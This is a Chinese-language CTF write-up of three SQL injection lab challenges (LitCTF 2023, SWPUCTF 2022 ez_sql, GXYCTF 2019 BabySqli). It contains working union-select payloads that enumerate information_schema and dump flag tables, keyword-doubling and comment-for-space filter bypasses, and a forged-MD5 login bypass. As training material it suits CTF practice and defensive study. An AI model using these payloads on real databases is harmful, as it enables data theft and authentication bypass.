NSSCTF———Web(sql注入)
[LitCTF 2023]这是什么?SQL !注一下 !
[SWPUCTF 2022 新生赛]ez_sql
[GXYCTF 2019]BabySqli
点击右下角文章可跳转
[LitCTF 2023]这是什么?SQL !注一下 !
首先我们打开靶场查看信息,提示了闭合方式为id = (((((())))))
然后我们进行判断回显位,用order by或group by都可以,会发现2有回显,3没有回显,所以回显位为2。如果细心可以发现题目也有提示username,password也可以猜测回显位为2,如果保险起见也可以测试一下
接下来就是进行查询数据库的操作,一般来说我们用http://node5.anna.nssctf.cn:28411/?id=1)))))) union select 1,database() --+这种语句来查询,但这道题数据库有很多,而且直接查出来的数据库得到的flag是假的,所以我就不演示了,你们可以自己查查看,我们直接查询全部数据库名
我用的是union select 1,schema_name from information_schema.schemata--+来查询
可以看到有几个很可能存在flag的数据库 ctftraining和ctf,这里我就直接跟大家说第一个存在真的flag。然后进行常规的sql注入
第一步,查表名 union select 1,group_concat(table_name)from information_schema.tables where table_schema='ctftraining'--+
可以看到有一个叫flag的表名,
第二步,查列名:union select 1,group_concat(column_name)from information_schema.columns where table_name='flag'--+
最后再查询一下这个叫flag的数据就可以得到flag
union select 1,group_concat(flag)from ctftraining.flag--+
[SWPUCTF 2022 新生赛]ez_sql
上来给了一波提示,相对安全的传参意思就是POST传参,还直接提示了参数是nss,我们先尝试随便输个数字,直接给了flag,但是这flag一看就是假的
然后用nss1 and1=1 这种手段判断类型,这题是字符型我就不演示了,然后我们要去判断回显数,会发现or和空格都被过滤了
然后我们用双写or绕过,用/**/代替空格,对了这里--+也被过滤了,我们可以用#号带替--+
我们再试一次 nss=1'/**/oorrder/**/by/**/3#
如果是4的话会报错,所以回显数为3
然后我们用联合查询去查数据库名,这道题的union也被过滤了,同样我们双写绕过 nss=1'/**/uniunionon/**/select/**/1,2,database()/**/limit/**/1,1#
后面用了limit 1,1,因为第一个回显位没有我们要的信息,我们需要跳转到第二个回显位,所以得到数据库名,NSS_db
下一步就是查表名 nss=1'/**/uniunionon/**/select/**/1,2,group_concat(table_name)from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db'/**/limit/**/1,1#
记得information里面的or也需要双写
根据表名的格式估计flag在NSS_tb里面,继续查列名
nss=1'/**/uniunionon/**/select/**/1,2,group_concat(column_name)from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb'/**/limit/**/1,1#
再继续查这里面的数据 nss=1'/**/uniunionon/**/select/**/1,2,group_concat(id,Secr3t,flll444g)from/**/NSS_db.NSS_tb/**/limit/**/1,1#
得到flag:NSSCTF{b734ae20-5169-4ce2-8fce-9e3a4f0c7830}NSSCTF{b734ae20-5169-4ce2-8fce-9e3a4f0c7830}
[GXYCTF 2019]BabySqli
这道题差点把我绕懵了
首先我们打开环境是一个登录界面,先尝试一下万能密码啥的,我这里先直接抓包,在burpsuit里面操作,发送到中继发现有一串神秘字母
拿去解密一下,发现是base32和base64的加密,解密得到 select * from user where username = '$name'
这段代码的意思是检索你输入的username是否在数据库中存在,我们可能就大致对这道题的查询有点数,我们去测试一下回显
注意这里是过滤了or的用大小写绕过,发现为4时报错,说明回显有三个,但如果我们去实际查询表名列名会发现很难查出来,因为这道题的过滤非常严格。
那我们要用做题的经验来看,这是一道登录的界面,而列数又是三列,那估计三列分别对应id,username,password。再结合一开始解密的信息,依次去查询是否存在数据,那这三列就很有可能了
再加上我们可以发现,当我们随便输入账号密码时,弹出的是 wrong user!
当我们账户是admin时,弹出的是 wrong pass!
说明admin这个账户是存在的,但是我们不知道admin在第几列,我们可以去试一试,当放在第一列时:
提示用户名不对
放在第二列时,显示wrong pass! 说明username正确
我们知道了账号,那我们得知道密码才能登录成功,这里有一个知识点:mysql在查询不存在的数据时会自动构建虚拟数据,一般数据要么明文,要么MD5;
我们不知道密码我们可以去构造密码,用md5的形式,就比如我输的密码是123,那我用md5加密后输入到第三列,那也可以完成查询,登陆成功
123经过md5加密后结果为:202cb962ac59075b964b07152d234b70
下面实践:
得到flag:
NSSCTF{ce21b171-dc0b-4b09-a56d-d6cd629ae515}
这题的密码不是唯一的,随便你密码是什么,自己构造,md5加密输入进去就行啦